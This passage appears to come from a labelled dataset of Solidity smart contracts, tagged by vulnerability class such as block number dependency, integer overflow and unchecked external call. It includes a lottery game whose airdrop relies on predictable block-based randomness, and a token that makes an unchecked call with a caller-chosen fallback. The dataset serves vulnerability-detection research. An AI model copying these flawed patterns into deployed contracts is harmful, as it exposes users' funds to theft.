} function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(20)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin1.transfer(_com.sub(_com / 2)); admin2.transfer(_com / 2); round_[_rID].pot = _pot.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d = 0; if (!address(admin1).call.value(_com.sub(_com / 2))()) { _p3d = _p3d.add(_com.sub(_com / 2)); } if (!address(admin2).call.value(_com / 2)()) { _p3d = _p3d.add(_com / 2); } _com = _com.sub(_p3d); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require((msg.sender == admin1 || msg.sender == admin2), ""only admin can activate""); require(activated_ == false, ""already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 174.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Common { event Pause(); event Unpause(); event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); bool public paused = false; address public owner; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MagnetChain is Common,ERC20 { using SafeMath for uint256; event Burn(address indexed burner, uint256 value); mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; uint256 totalSupply_; string public name = ""Magnet Chain""; string public symbol = ""MTC""; uint256 public decimals = 18; constructor() public { totalSupply_ = 100 * 100000000 * ( 10** decimals ); balances[msg.sender] = totalSupply_; emit Transfer(address(0x0), msg.sender, totalSupply_); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool){ allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool){ uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function burn(uint256 _value) onlyOwner public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function() payable public { revert(); } }",./Dataset/integer overflow (OF)/,4,4 24985.sol,"pragma solidity ^0.4.9; contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ERC223 { uint public totalSupply; function getbalance(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } contract ERC223Token is ERC223, SafeMath , Ownable{ mapping(address => uint) balances; mapping(address => bool) whitelist; string public name; string public symbol; uint8 public decimals = 8; uint256 public totalSupply; function ERC223Token() public { totalSupply = 1200000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = 120000000000000000; // Give the creator all initial tokens name = ""Ethereum Lendo Token""; // Set the name for display purposes symbol = ""ELT""; // Set the symbol for display purposes whitelist[owner] = true; } // Function to access name of token . function name() public view returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { if (getbalance(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(getbalance(msg.sender), _value); balances[_to] = safeAdd(getbalance(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (getbalance(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(getbalance(msg.sender), _value); balances[_to] = safeAdd(getbalance(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (getbalance(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(getbalance(msg.sender), _value); balances[_to] = safeAdd(getbalance(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function getbalance(address _ethaddress) public view returns (uint balance) { return balances[_ethaddress]; } function isWhiteList(address _ethaddress) public view returns (bool iswhitelist) { return whitelist[_ethaddress]; } }",./Dataset/unchecked external call (UC),7,7 36292.sol,"pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev 